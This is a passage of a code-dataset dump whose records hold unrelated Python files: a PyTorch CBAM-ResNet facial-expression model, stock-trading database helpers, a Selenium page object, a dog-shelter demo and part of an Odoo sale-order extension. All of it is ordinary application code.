= keras.layers.Conv2D(feature_size, kernel_size=1, strides=1, padding='same', name='C3_reduced')(C3)\r\n P3 = keras.layers.Concatenate(axis=3)([P4_upsampled, P3])\r\n P3 = keras.layers.Conv2D(feature_size, kernel_size=3, strides=1, name='P3')(P3)\r\n '''\r\n # x = self.avgpool(x)\r\n # print(\"x.shape==================\", x.shape)\r\n\r\n feature1 = torch.flatten(p3, 1)\r\n feature1 = torch.nn.Dropout(0.5)(feature1)\r\n feature1 = self.feat_out1(feature1)\r\n\r\n print(\"feature1.shape==================\", feature1.shape)\r\n '''\r\n feature2 = torch.flatten(p4, 1)\r\n feature2 = torch.nn.Dropout(0.5)(feature2)\r\n feature2 = self.feat_out2(feature2)\r\n\r\n print(\"feature2.shape==================\", feature2.shape)\r\n\r\n feature3 = torch.flatten(p5, 1)\r\n feature3 = torch.nn.Dropout(0.5)(feature3)\r\n feature3 = self.feat_out3(feature3)\r\n\r\n feature4 = torch.flatten(p6, 1)\r\n feature4 = torch.nn.Dropout(0.5)(feature4)\r\n feature4 = self.feat_out4(feature4)\r\n\r\n feature5 = torch.flatten(p7, 1)\r\n feature5 = torch.nn.Dropout(0.5)(feature5)\r\n feature5 = self.feat_out5(feature5)\r\n\r\n concat = torch.cat((feature1,feature2,feature3,feature4,feature5),1)\r\n\r\n print(\"concat.shape==================\", concat.shape)\r\n\r\n out=self.final_out(concat)\r\n keras implementation\r\n # Run classification for each of the generated features from the pyramid\r\n feature1 = Flatten()(P3)\r\n dp1 = Dropout(0.5)(feature1)\r\n preds1 = Dense(2, activation='relu',kernel_initializer=RandomNormal(mean=0.0, stddev=0.001))(dp1)\r\n #################################################################\r\n feature2 = Flatten()(P4)\r\n dp2 = Dropout(0.5)(feature2)\r\n preds2 = Dense(2, activation='relu',kernel_initializer=RandomNormal(mean=0.0, stddev=0.001))(dp2)\r\n #################################################################\r\n feature3 = Flatten()(P5)\r\n dp3= Dropout(0.5)(feature3)\r\n preds3 = Dense(2, activation='relu',kernel_initializer=RandomNormal(mean=0.0, stddev=0.001))(dp3)\r\n #################################################################\r\n feature4 = Flatten()(P6)\r\n dp4 = Dropout(0.5)(feature4)\r\n preds4 = Dense(2, activation='relu',kernel_initializer=RandomNormal(mean=0.0, stddev=0.001))(dp4)\r\n #################################################################\r\n feature5 = Flatten()(P7)\r\n dp5 = Dropout(0.5)(feature5)\r\n preds5 = Dense(2, activation='relu',kernel_initializer=RandomNormal(mean=0.0, stddev=0.001))(dp5)\r\n #################################################################\r\n concat=keras.layers.Concatenate(axis=1)([preds1,preds2,preds3,preds4,preds5]) #Concatenate the predictions(Classification results) of each of the pyramid features \r\n out=keras.layers.Dense(2,activation='softmax',kernel_initializer=RandomNormal(mean=0.0, stddev=0.001))(concat) #Final Classification\r\n\r\n model = Model(inputs=base_model.input, outputs=out) #Create the Training Model\r\n '''\r\n '''\r\n # DACL attention\r\n x_flat = torch.flatten(x, 1)\r\n # print(\"x_flat.shape==================\", x.shape)\r\n E = self.attention(x_flat)\r\n # print(\"E.shape==================\", E.shape)\r\n A = self.attention_heads(E).reshape(-1, 2048, 2).softmax(dim=-1)[:, :, 1]\r\n # print(\"A.shape==================\", A.shape)\r\n '''\r\n\r\n #x = self.avgpool(x)\r\n #f = torch.flatten(x, 1)\r\n # f = A.view(A.size(0), -1)\r\n # print(\"f.shape==================\", f.shape)\r\n #out = self.fc(f)\r\n # out = self.output(f)\r\n # print(\"out.shape==================\", out.shape)\r\n\r\n #return f, out, A\r\n #x = self.final_pool(c5)\r\n #x = x.view(x.size(0), -1)\r\n #out = self.output(x)\r\n return feature1\r\n\r\ndef get_resnet(blocks,model_name=None,pretrained=False,root=os.path.join(\"~\", \".torch\", \"models\"),**kwargs):\r\n \"\"\"\r\n Create CBAM-ResNet model with specific parameters.\r\n\r\n Parameters:\r\n ----------\r\n blocks : int\r\n Number of blocks.\r\n conv1_stride : bool\r\n Whether to use stride in the first or the second convolution layer in units.\r\n use_se : bool\r\n Whether to use SE block.\r\n width_scale : float\r\n Scale factor for width of layers.\r\n model_name : str or None, default None\r\n Model name for loading pretrained model.\r\n pretrained : bool, default False\r\n Whether to load the pretrained weights for model.\r\n root : str, default '~/.torch/models'\r\n Location for keeping the model parameters.\r\n \"\"\"\r\n\r\n if blocks == 18:\r\n layers = [2, 2, 2, 2]\r\n elif blocks == 34:\r\n layers = [3, 4, 6, 3]\r\n elif blocks == 50:\r\n layers = [3, 4, 6, 3]\r\n elif blocks == 101:\r\n layers = [3, 4, 23, 3]\r\n elif blocks == 152:\r\n layers = [3, 8, 36, 3]\r\n else:\r\n raise ValueError(\"Unsupported CBAM-ResNet with number of blocks: {}\".format(blocks))\r\n\r\n init_block_channels = 64\r\n\r\n if blocks < 50:\r\n channels_per_layers = [64, 128, 256, 512]\r\n bottleneck = False\r\n else:\r\n channels_per_layers = [256, 512, 1024, 2048]\r\n bottleneck = True\r\n\r\n channels = [[ci] * li for (ci, li) in zip(channels_per_layers, layers)]\r\n\r\n #net = CbamResNet(\r\n print(channels)\r\n net = FPNCbamResNet( \r\n channels=channels,\r\n init_block_channels=init_block_channels,\r\n bottleneck=bottleneck,\r\n **kwargs)\r\n\r\n if pretrained:\r\n if (model_name is None) or (not model_name):\r\n raise ValueError(\"Parameter `model_name` should be properly initialized for loading pretrained model.\")\r\n # from pytorchcv.models.model_store import download_model\r\n # download_model(\r\n # net=net,\r\n # model_name=model_name,\r\n # local_model_store_dir_path=root)\r\n print(\"++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\")\r\n model_dict = net.state_dict()\r\n\r\n # 将pretrained_dict里不属于model_dict的键剔除掉\r\n pre_dict = torch.load(\"/home/zhimahu/jjy/ResidualMaskingNetwork-master/cbam_resnet50_rot30_2019Nov15_12.40\")[\"net\"]\r\n\r\n pretrained_dict = {k: v for k, v in pre_dict.items() if k in model_dict}\r\n\r\n # 更新现有的model_dict\r\n model_dict.update(pretrained_dict)\r\n net.load_state_dict(model_dict)\r\n print(\"++++++++++===================================================================================================================\")\r\n return net\r\n\r\n# def cbam_resnet18(**kwargs):\r\n# \"\"\"\r\n# CBAM-ResNet-18 model from 'CBAM: Convolutional Block Attention Module,' https://arxiv.org/abs/1807.06521.\r\n#\r\n# Parameters:\r\n# ----------\r\n# pretrained : bool, default False\r\n# Whether to load the pretrained weights for model.\r\n# root : str, default '~/.torch/models'\r\n# Location for keeping the model parameters.\r\n# \"\"\"\r\n# return get_resnet(blocks=18, model_name=\"cbam_resnet18\", **kwargs)\r\n#\r\n#\r\n# def cbam_resnet34(**kwargs):\r\n# \"\"\"\r\n# CBAM-ResNet-34 model from 'CBAM: Convolutional Block Attention Module,' https://arxiv.org/abs/1807.06521.\r\n#\r\n# Parameters:\r\n# ----------\r\n# pretrained : bool, default False\r\n# Whether to load the pretrained weights for model.\r\n# root : str, default '~/.torch/models'\r\n# Location for keeping the model parameters.\r\n# \"\"\"\r\n# return get_resnet(blocks=34, model_name=\"cbam_resnet34\", **kwargs)\r\n\r\ndef cbam_resnet50(**kwargs):\r\n \"\"\"\r\n CBAM-ResNet-50 model from 'CBAM: Convolutional Block Attention Module,' https://arxiv.org/abs/1807.06521.\r\n\r\n Parameters:\r\n ----------\r\n pretrained : bool, default False\r\n Whether to load the pretrained weights for model.\r\n root : str, default '~/.torch/models'\r\n Location for keeping the model parameters.\r\n \"\"\"\r\n return get_resnet(blocks=50, model_name=\"cbam_resnet50\" ,pretrained=False , **kwargs)\r\n\r\n# def cbam_resnet101(**kwargs):\r\n# \"\"\"\r\n# CBAM-ResNet-101 model from 'CBAM: Convolutional Block Attention Module,' https://arxiv.org/abs/1807.06521.\r\n#\r\n# Parameters:\r\n# ----------\r\n# pretrained : bool, default False\r\n# Whether to load the pretrained weights for model.\r\n# root : str, default '~/.torch/models'\r\n# Location for keeping the model parameters.\r\n# \"\"\"\r\n# return get_resnet(blocks=101, model_name=\"cbam_resnet101\", **kwargs)\r\n#\r\n#\r\n# def cbam_resnet152(**kwargs):\r\n# \"\"\"\r\n# CBAM-ResNet-152 model from 'CBAM: Convolutional Block Attention Module,' https://arxiv.org/abs/1807.06521.\r\n#\r\n# Parameters:\r\n# ----------\r\n# pretrained : bool, default False\r\n# Whether to load the pretrained weights for model.\r\n# root : str, default '~/.torch/models'\r\n# Location for keeping the model parameters.\r\n# \"\"\"\r\n# return get_resnet(blocks=152, model_name=\"cbam_resnet152\", **kwargs)\r\n\r\ndef conv3x3(in_channels, out_channels, stride=1, groups=1, dilation=1):\r\n return nn.Conv2d(\r\n in_channels=in_channels,\r\n out_channels=out_channels,\r\n kernel_size=3,\r\n stride=stride,\r\n padding=dilation,\r\n groups=groups,\r\n bias=False,\r\n dilation=dilation,\r\n )\r\n\r\n\r\ndef conv1x1(in_channels, out_channels, stride=1):\r\n \"\"\"1x1 convolution\"\"\"\r\n return nn.Conv2d(\r\n in_channels=in_channels,\r\n out_channels=out_channels,\r\n kernel_size=1,\r\n stride=stride,\r\n bias=False,\r\n )\r\n\r\n\r\nclass ResidualUnit(nn.Module):\r\n def __init__(self, in_channels, out_channels):\r\n super(ResidualUnit, self).__init__()\r\n width = int(out_channels / 4)\r\n\r\n self.conv1 = conv1x1(in_channels, width)\r\n self.bn1 = nn.BatchNorm2d(width)\r\n\r\n self.conv2 = conv3x3(width, width)\r\n self.bn2 = nn.BatchNorm2d(width)\r\n\r\n self.conv3 = conv1x1(width, out_channels)\r\n self.bn3 = nn.BatchNorm2d(out_channels)\r\n\r\n self.relu = nn.ReLU(inplace=True)\r\n\r\n # for downsample\r\n self._downsample = nn.Sequential(\r\n conv1x1(in_channels, out_channels, 1), nn.BatchNorm2d(out_channels)\r\n )\r\n\r\n def forward(self, x):\r\n identity = x\r\n\r\n out = self.conv1(x)\r\n out = self.bn1(out)\r\n out = self.relu(out)\r\n\r\n out = self.conv2(out)\r\n out = self.bn2(out)\r\n out = self.relu(out)\r\n\r\n out = self.conv3(out)\r\n out = self.bn3(out)\r\n\r\n out += self._downsample(identity)\r\n out = self.relu(out)\r\n\r\n return out\r\n\r\n\r\nclass BasicBlock(nn.Module):\r\n expansion = 1\r\n __constants__ = [\"downsample\"]\r\n\r\n def __init__(\r\n self,\r\n inplanes,\r\n planes,\r\n stride=1,\r\n downsample=None,\r\n groups=1,\r\n base_width=64,\r\n dilation=1,\r\n norm_layer=None,\r\n ):\r\n super(BasicBlock, self).__init__()\r\n if norm_layer is None:\r\n norm_layer = nn.BatchNorm2d\r\n if groups != 1 or base_width != 64:\r\n raise ValueError(\"BasicBlock only supports groups=1 and base_width=64\")\r\n if dilation > 1:\r\n raise NotImplementedError(\"Dilation > 1 not supported in BasicBlock\")\r\n # Both self.conv1 and self.downsample layers downsample the input when stride != 1\r\n self.conv1 = conv3x3(inplanes, planes, stride)\r\n self.bn1 = norm_layer(planes)\r\n self.relu = nn.ReLU(inplace=True)\r\n self.conv2 = conv3x3(planes, planes)\r\n self.bn2 = norm_layer(planes)\r\n self.downsample = downsample\r\n self.stride = stride\r\n\r\n def forward(self, x):\r\n identity = x\r\n\r\n out = self.conv1(x)\r\n out = self.bn1(out)\r\n out = self.relu(out)\r\n\r\n out = self.conv2(out)\r\n out = self.bn2(out)\r\n\r\n if self.downsample is not None:\r\n identity = self.downsample(x)\r\n\r\n out += identity\r\n out = self.relu(out)\r\n\r\n return out\r\n\r\n\r\nclass BaseNet(nn.Module):\r\n \"\"\"basenet for fer2013\"\"\"\r\n\r\n def __init__(self, in_channels=1, num_classes=7):\r\n super(BaseNet, self).__init__()\r\n norm_layer = nn.BatchNorm2d\r\n\r\n self.conv1 = nn.Conv2d(\r\n in_channels=1,\r\n out_channels=64,\r\n kernel_size=7,\r\n stride=1,\r\n padding=3,\r\n bias=False,\r\n )\r\n self.bn1 = nn.BatchNorm2d(num_features=64)\r\n self.relu = nn.ReLU(inplace=True)\r\n self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1)\r\n\r\n self.residual_1 = ResidualUnit(in_channels=64, out_channels=256)\r\n self.residual_2 = ResidualUnit(in_channels=256, out_channels=512)\r\n self.residual_3 = ResidualUnit(in_channels=512, out_channels=1024)\r\n\r\n self.avgpool = nn.AdaptiveAvgPool2d((1, 1))\r\n self.fc = nn.Linear(1024, 7)\r\n\r\n def forward(self, x):\r\n x = self.conv1(x)\r\n x = self.bn1(x)\r\n x = self.relu(x)\r\n\r\n x = self.residual_1(x)\r\n x = self.residual_2(x)\r\n x = self.residual_3(x)\r\n\r\n x = self.avgpool(x)\r\n x = torch.flatten(x, 1)\r\n x = self.fc(x)\r\n return x\r\n\r\n\r\ndef basenet(in_channels=1, num_classes=7):\r\n return BaseNet(in_channels, num_classes)\r\n\r\n\r\nfrom masking import masking\r\n\r\n\r\nclass ResMasking(ResNet):\r\n def __init__(self, weight_path):\r\n super(ResMasking, self).__init__(\r\n block=BasicBlock, layers=[3, 4, 6, 3], in_channels=3, num_classes=1000\r\n )\r\n # state_dict = torch.load('saved/checkpoints/resnet18_rot30_2019Nov05_17.44')['net']\r\n # state_dict = load_state_dict_from_url(model_urls['resnet34'], progress=True)\r\n # self.load_state_dict(state_dict)\r\n\r\n self.fc = nn.Linear(512, 7)\r\n\r\n \"\"\"\r\n # freeze all net\r\n for m in self.parameters():\r\n m.requires_grad = False\r\n \"\"\"\r\n\r\n self.mask1 = masking(64, 64, depth=4)\r\n self.mask2 = masking(128, 128, depth=3)\r\n self.mask3 = masking(256, 256, depth=2)\r\n self.mask4 = masking(512, 512, depth=1)\r\n \r\n self.nb_head = 512\r\n self.attention = nn.Sequential(\r\n #nn.Linear(2048 * 7 * 7, 512),\r\n nn.BatchNorm1d(512),\r\n nn.ReLU(inplace=True),\r\n # nn.Linear(3584, 512),\r\n # nn.BatchNorm1d(512),\r\n # nn.ReLU(inplace=True),\r\n nn.Linear(512, 64),\r\n nn.BatchNorm1d(64),\r\n nn.Tanh(),\r\n )\r\n self.attention_heads = nn.Linear(64, 2 * self.nb_head)\r\n\r\n def forward(self, x): # 224\r\n x = self.conv1(x) # 112\r\n x = self.bn1(x)\r\n x = self.relu(x)\r\n x = self.maxpool(x) # 56\r\n\r\n x = self.layer1(x) # 56\r\n m = self.mask1(x)\r\n x = x * (1 + m)\r\n # x = x * m\r\n\r\n x = self.layer2(x) # 28\r\n m = self.mask2(x)\r\n x = x * (1 + m)\r\n # x = x * m\r\n\r\n x = self.layer3(x) # 14\r\n m = self.mask3(x)\r\n x = x * (1 + m)\r\n # x = x * m\r\n\r\n x = self.layer4(x) # 7\r\n m = self.mask4(x)\r\n x = x * (1 + m)\r\n # x = x * m\r\n\r\n # DACL attention\r\n x_flat = torch.flatten(x, 1)\r\n # print(\"x_flat.shape==================\", x.shape)\r\n E = self.attention(x_flat)\r\n # print(\"E.shape==================\", E.shape)\r\n A = self.attention_heads(E).reshape(-1, 512, 2).softmax(dim=-1)[:, :, 1]\r\n # print(\"A.shape==================\", A.shape)\r\n\r\n\r\n x = self.avgpool(x)\r\n f = torch.flatten(x, 1)\r\n # f = A.view(A.size(0), -1)\r\n # print(\"f.shape==================\", f.shape)\r\n out = self.fc(f)\r\n # out = self.output(f)\r\n # print(\"out.shape==================\", out.shape)\r\n\r\n return f, out, A\r\n\r\n #x = self.avgpool(x)\r\n #x = torch.flatten(x, 1)\r\n #x = self.fc(x)\r\n #return x\r\n\r\n\r\ndef _calc_width(net):\r\n import numpy as np\r\n net_params = filter(lambda p: p.requires_grad, net.parameters())\r\n weight_count = 0\r\n for param in net_params:\r\n weight_count += np.prod(param.size())\r\n return weight_count\r\n\r\ndef _test():\r\n import torch\r\n\r\n #pretrained = False\r\n\r\n models = [\r\n # cbam_resnet18,\r\n # cbam_resnet34,\r\n #cbam_resnet50,\r\n # cbam_resnet101,\r\n # cbam_resnet152,\r\n basenet\r\n ]\r\n\r\n for model in models:\r\n #net = model(pretrained=pretrained)\r\n net = model()\r\n print(net)\r\n\r\n # net.train()\r\n net.eval()\r\n weight_count = _calc_width(net)\r\n print(\"m={}, {}\".format(model.__name__, weight_count))\r\n # assert (model != cbam_resnet18 or weight_count == 11779392)\r\n # assert (model != cbam_resnet34 or weight_count == 21960468)\r\n # assert (model != cbam_resnet50 or weight_count == 28089624)\r\n # assert (model != cbam_resnet101 or weight_count == 49330172)\r\n # assert (model != cbam_resnet152 or weight_count == 66826848)\r\n\r\n x = torch.randn(1, 1, 224, 224)\r\n y = net(x)\r\n #y.sum().backward()\r\n #assert (tuple(y.size()) == (1, 1000))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n _test()\r\n\r\n","sub_path":"xinDeYuXunLian.py","file_name":"xinDeYuXunLian.py","file_ext":"py","file_size_in_byte":35398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"82868185","text":"\n\n\n\ncol_OmxId = 'OmxId' # PK\ncol_Symbol ='Symbol'\ncol_FullName ='FullName'\ncol_Isin ='Isin'\ncol_TradeStatus ='TradeStatus'\ncol_LiquidityProvider ='LiquidityProvider'\ncol_StockMarket ='StockMarket'\ncol_IcbCode ='IcbCode'\ncol_SuperSector ='SuperSector'\ncol_Sector ='Sector'\ncol_Segment ='Segment'\n\ncol_OmxId # composite PK\ncol_Date='Date' # composite PK\ncol_WeekNumber='WeekNumber'\ncol_MonthNumber='MonthNumber'\ncol_OpenPrice='OpenPrice'\ncol_HighPrice='HighPrice'\ncol_LowPrice='LowPrice'\ncol_ClosePrice='ClosePrice'\ncol_Volume='Volume'\ncol_Turnover='Turnover'\ncol_AveragePrice='AveragePrice'\ncol_Trades='Trades'\ncol_CFP='CFP'\n\n\n# NOTE: The order of fields should EXACTLY match with the database columns\nshareInfoFields = ['OmxId', # PK\n 'Symbol',\n 'FullName',\n 'ISIN',\n 'TradeStatus',\n 'LiquidityProvider',\n 'StockMarket',\n 'ICBCode',\n 'SuperSector',\n 'Sector',\n 'Segment']\n\n\n\n\n\n\n\ncol_OmxId # composite PK\ncol_WeekNumber='WeekNumber' # composite PK\ncol_MonthNumber='MonthNumber'\ncol_OpenPrice='OpenPrice'\ncol_HighPrice='HighPrice'\ncol_LowPrice='LowPrice'\ncol_ClosePrice='ClosePrice'\ncol_Volume='Volume'\ncol_Turnover='Turnover'\ncol_AveragePrice='AveragePrice'\ncol_Trades='Trades'\n\n# NOTE: The order of fields should EXACTLY match with the database columns\nTradeDataWeeklyFields = ['omxid',\n 'weekNumber',\n 'monthNumber'\n 'openPrice',\n 'highPrice',\n 'lowPrice',\n 'closePrice',\n 'volume',\n 'turnover',\n 'trades']\n\n\n\n# In [TradeDataShareHistory_DB] database file\n\ncol_OmxId # composite PK\ncol_MonthNumber='MonthNumber' # composite PK\ncol_OpenPrice='OpenPrice'\ncol_HighPrice='HighPrice'\ncol_LowPrice='LowPrice'\ncol_ClosePrice='ClosePrice'\ncol_Volume='Volume'\ncol_Turnover='Turnover'\ncol_AveragePrice='AveragePrice'\ncol_Trades='Trades'\n\n# NOTE: The order of fields should EXACTLY match with the database columns\nTradeDataMonthlyFields = ['omxid', # composite PK\n 'monthNumber', # composite PK\n 'openPrice',\n 'highPrice',\n 'lowPrice',\n 'closePrice',\n 'volume',\n 'turnover',\n 'trades']\n\n\n########################################################################################\n####################### Helper function\n########################################################################################\n\n\n# ALl the data will be oldest first, latest last!\ndef fetchAndGroupDBData(tableName):\n conn = getMySQLConnection()\n sql_str = 'SELECT omxid, max(date) date FROM ' + tableName + ' group by omxid'\n print('111')\n t0 = time.time()\n dfAllData = pd.read_sql(sql_str, conn)\n t1 = time.time()\n\n total = t1-t0\n print('fuck this shit it is: ', total)\n print('222')\n grouped = dfAllData.groupby('omxid')\n return grouped, dfAllData.columns\n\ndef setStockObjData(stockObj, dataSrc, grouped, allColumns):\n omxId = stockObj.omxid\n if omxId in list(grouped.groups):\n value = grouped.get_group(omxId)\n else:\n value = pd.DataFrame(columns=allColumns)\n if dataSrc == gData.dataSrc.lvl1TAIData: stockObj.lvl1TAIData = value\n elif dataSrc == gData.dataSrc.lvl2TAIData: stockObj.lvl2TAIData = value\n elif dataSrc == gData.dataSrc.tradedata: stockObj.tradedata = value\n elif dataSrc == gData.dataSrc.tradedataweekly: stockObj.tradedataweekly = value\n\ndef clearDatabaseTable(tableName, fromDB = stock_DBFile):\n conn = sqlite3.connect(fromDB)\n cur = conn.cursor()\n sql_str = 'DELETE FROM ' + tableName\n cur.execute(sql_str)\n conn.commit()\n conn.close()\n\ndef backupDatabaseTable(tableName, fromDB = stock_DBFile, toDB = stock_backup_DBFile):\n newTableName = tableName + time.strftime('%Y%m%d__%H%M%S')\n print('Backing up table: ' + tableName + ' ==> ' + newTableName + ' in ' + toDB)\n\n conn = sqlite3.connect(stock_backup_DBFile)\n cur = conn.cursor()\n\n sql_str = 'ATTACH DATABASE \\\"' + fromDB + '\\\" AS fromDB;'\n cur.execute(sql_str)\n\n sql_str = 'CREATE TABLE ' + newTableName + ' AS SELECT * FROM fromDB.' + tableName\n cur.execute(sql_str)\n\n conn.commit()\n conn.close()\n\ndef isEmptyTable(tableName):\n conn = sqlite3.connect(stock_DBFile)\n cur = conn.cursor()\n sql_str = 'select (select fullname from ' + tableName + ' limit 1) is not null'\n tmpAllTradeData = cur.execute(sql_str)\n if tmpAllTradeData.fetchone() == (0,):\n return True\n return False\n########################################################################################\n####################### Symbol related\n########################################################################################\ndef insertStockInfo():\n cnx = getMySQLConnection()\n #print(gData.allStockDF)\n suppressWriteFrameWarning()\n sql.write_frame(frame= gData.allStockDF, name=stockSymbol_TB, con=cnx, flavor='mysql', if_exists='append')\n\n\n\ndef fetchMyStockList():\n connShareInfo = sqlite3.connect(portfolio_DBFile)\n curShareInfo = connShareInfo.cursor()\n sqlStr_fetchAllShareInfo = 'SELECT * FROM ' + myStock_TB\n tmpAllShares = curShareInfo.execute(sqlStr_fetchAllShareInfo)\n allShare = [dict(zip(visibleStockInfoColumns, oneShare)) for oneShare in tmpAllShares.fetchall()]\n return allShare\n\ndef fetchWatchStockList():\n connShareInfo = sqlite3.connect(portfolio_DBFile)\n curShareInfo = connShareInfo.cursor()\n sqlStr_fetchAllShareInfo = 'SELECT * FROM ' + watchStock_TB\n tmpAllShares = curShareInfo.execute(sqlStr_fetchAllShareInfo)\n allShare = [dict(zip(visibleStockInfoColumns, oneShare)) for oneShare in tmpAllShares.fetchall()]\n return allShare\n\n\n\n\ndef deleteCFPOmxIdInDB(stockObj):\n conn = sqlite3.connect(stock_DBFile)\n cur = conn.cursor()\n sqlStr = 'DELETE FROM ' + tradeData_daily_TB + ' WHERE OMXID=?'\n cur.execute(sqlStr, (stockObj.omxid,))\n conn.commit()\n\n########################################################################################\n####################### Trade data related\n########################################################################################\n\ndef dbFetchTradeData():\n sub_dbFetchTradeData(' -- daily trade data from database',\n tradeData_daily_TB,\n gData.dataSrc.tradedata)\n\n sub_dbFetchTradeData(' -- weekly trade data from database',\n tradeData_weekly_TB,\n gData.dataSrc.tradedataweekly)\n\ndef sub_dbFetchTradeData(infoStr, tableName, dataSrc):\n print(infoStr)\n grouped, allColumns = fetchAndGroupDBData(tableName)\n print('dddd')\n gData.allStockDF['StockObj'].apply(lambda obj: setStockObjData(obj, dataSrc, grouped, allColumns))\n\ndef insertStockDataWeekly(df):\n _insertData(df, tradeData_weekly_TB)\n\n\ndef insertIndexData(df):\n _insertData(df, indexData_daily_TB)\n\n\n\n########################################################################################\n####################### Index data related\n########################################################################################\ndef fetchIndexDataDB():\n print(' -- index data from database')\n grouped, allColumns = fetchAndGroupDBData(indexData_daily_TB)\n gData.allIndexDF['indexObj'].apply(lambda obj: setStockObjData(obj, gData.dataSrc.tradedata, grouped, allColumns))\n\n\n\n\n\n\n########################################################################################\n####################### TA data related\n########################################################################################\ndef fetchLvl1TAIData_daily():\n print(' -- from database')\n grouped, allColumns = fetchAndGroupDBData(lvl1TAIData_daily_TB)\n gData.allStockDF['StockObj'].apply(lambda obj: setStockObjData(obj, gData.dataSrc.lvl1TAIData, grouped, allColumns))\n\n\ndef fetchLvl2TAIData_daily():\n print(' -- from database')\n grouped, allColumns = fetchAndGroupDBData(lvl2TAIData_daily_TB)\n gData.allStockDF['StockObj'].apply(lambda obj: setStockObjData(obj, gData.dataSrc.lvl2TAIData, grouped, allColumns))\n\ndef insertLvl1TAData(tradeDataCollection):\n conn = sqlite3.connect(stock_DBFile)\n cur = conn.cursor()\n fieldValueQuestionMark = '?,' * (len(gData.lvl1TADataDailyFields) -1)\n sqlInsertStr = 'INSERT INTO ' + lvl1TAData_daily_TB + ' VALUES (' + fieldValueQuestionMark +'?)'\n for oneData in tradeDataCollection:\n cur.execute(sqlInsertStr, oneData)\n conn.commit()\n conn.close()\n\ndef insertLvl2TAData(tradeDataCollection):\n conn = sqlite3.connect(stock_DBFile)\n cur = conn.cursor()\n fieldValueQuestionMark = '?,' * (len(gData.lvl2TADataDailyFields) -1)\n sqlInsertStr = 'INSERT INTO ' + lvl2TAData_daily_TB + ' VALUES (' + fieldValueQuestionMark +'?)'\n for oneData in tradeDataCollection:\n cur.execute(sqlInsertStr, oneData)\n conn.commit()\n conn.close()\n\n\n########################################################################################\n####################### Database initiation\n########################################################################################\n\n\n\n\n\n\n\ndef fetchTradeDataDB():\n dbFetchTradeData() # Fetch from database\n # fetchIndexDataDB() # Fetch from database\n\n","sub_path":"nn/old_dbOp.py","file_name":"old_dbOp.py","file_ext":"py","file_size_in_byte":9689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"172089777","text":"from selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\n\r\nexplicit_wait = 10 # sec\r\n\r\n\r\nclass RasterTab:\r\n def __init__(self, driver):\r\n self.driver = driver\r\n\r\n def open(self):\r\n # Открыть страницу \"Покрытия\"\r\n WebDriverWait(self.driver, explicit_wait).until(EC.element_to_be_clickable((By.ID, 'tabs_tabsLeftPanel_tab_tabDB'))).click()\r\n\r\n # Открыть страницу \"Снимки\"\r\n WebDriverWait(self.driver, explicit_wait).until(EC.element_to_be_clickable((By.ID, 'tabs_tabletabs_tab_raster'))).click()\r\n\r\n def is_record_exist_by_name(self, record_name):\r\n WebDriverWait(self.driver, explicit_wait).until(EC.visibility_of_element_located((By.XPATH, '//div[contains(text(), \"N-37-50_ur_2000_proj.rsw\")]')))\r\n\r\n found_records = self.driver.find_elements_by_css_selector('tr div[title=\"Наименование\"]')\r\n print(found_records)\r\n for record in found_records:\r\n if record.text == record_name:\r\n return True\r\n\r\n # Скачивание данных\r\n def download_raster(self, record_name):\r\n self.driver.find_element_by_xpath(\"//div[starts-with(text(),'\" + record_name + \"')]/../following-sibling::td//a[contains(@class, 'fa-download')]\").click()\r\n\r\n def select_record_by_name(self, record_name):\r\n found_records = self.driver.find_elements_by_css_selector('tr div[title=\"Наименование\"]')\r\n for record in found_records:\r\n if record.text == record_name:\r\n record.click()\r\n return True\r\n","sub_path":"tests/pages/tabs/raster_tab.py","file_name":"raster_tab.py","file_ext":"py","file_size_in_byte":1718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"487150090","text":"from shelter import Shelter\nfrom dog import Dog\nfrom box import Box\n\n\n# Main entry point is here\nif __name__ == '__main__':\n shelter = Shelter('PIESKOWY RAJ')\n shelter.print_info()\n\n dog = Dog('Robi','male',2,True)\n dog2 = Dog('Zuzia','female', 4, False)\n\n box = Box(1, 5)\n box.add_dog(dog)\n box.add_dog(dog2)\n print('in box {} there are {}'.format(box.id, box.dogs))\n\n box.remove_dog(dog)\n print('in box {} there are {}'.format(box.id, box.dogs))\n\n box.remove_dog(dog2)\n print('in box {} there are {}'.format(box.id, box.dogs))\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"70386744","text":"# -*- coding: utf-8 -*-\n# Part of Odoo. See LICENSE file for full copyright and licensing details.\n\nfrom datetime import datetime, timedelta\nfrom collections import defaultdict\n\nfrom odoo import api, fields, models, _\nfrom odoo.tools import DEFAULT_SERVER_DATETIME_FORMAT, float_compare\nfrom odoo.exceptions import UserError\n\n\nclass SaleOrderLine(models.Model):\n _inherit = 'sale.order.line'\n\n # Need to have this field (even though sale rental have too, to avoid any conflict)\n product_tracking = fields.Selection(related='product_id.tracking')\n lot_id = fields.Many2one('stock.production.lot', string='Lot/Serial Number', help=\"Lot/Serial number concerned by the ticket\", domain=\"[('product_id', '=', product_id)]\", copy=False)\n\n @api.depends('product_id', 'customer_lead', 'product_uom_qty', 'order_id.warehouse_id', 'order_id.commitment_date', 'lot_id')\n def _compute_qty_at_date(self):\n \"\"\" We Override this method to include lot_id in the context. We can't override because it's not included on the return value. And no other module are overriding this method.\"\"\"\n qty_processed_per_product = defaultdict(lambda: 0)\n grouped_lines = defaultdict(lambda: self.env['sale.order.line'])\n # We first loop over the SO lines to group them by warehouse and schedule\n # date in order to batch the read of the quantities computed field.\n for line in self:\n if not line.display_qty_widget:\n continue\n line.warehouse_id = line.order_id.warehouse_id\n if line.order_id.commitment_date:\n date = line.order_id.commitment_date\n else:\n confirm_date = line.order_id.date_order if line.order_id.state in ['sale', 'done'] else datetime.now()\n date = confirm_date + timedelta(days=line.customer_lead or 0.0)\n grouped_lines[(line.warehouse_id.id, date)] |= line\n\n treated = self.browse()\n for (warehouse, scheduled_date), lines in grouped_lines.items():\n if lines.lot_id:\n product_qties = lines.mapped('product_id').with_context(to_date=scheduled_date, warehouse=warehouse, 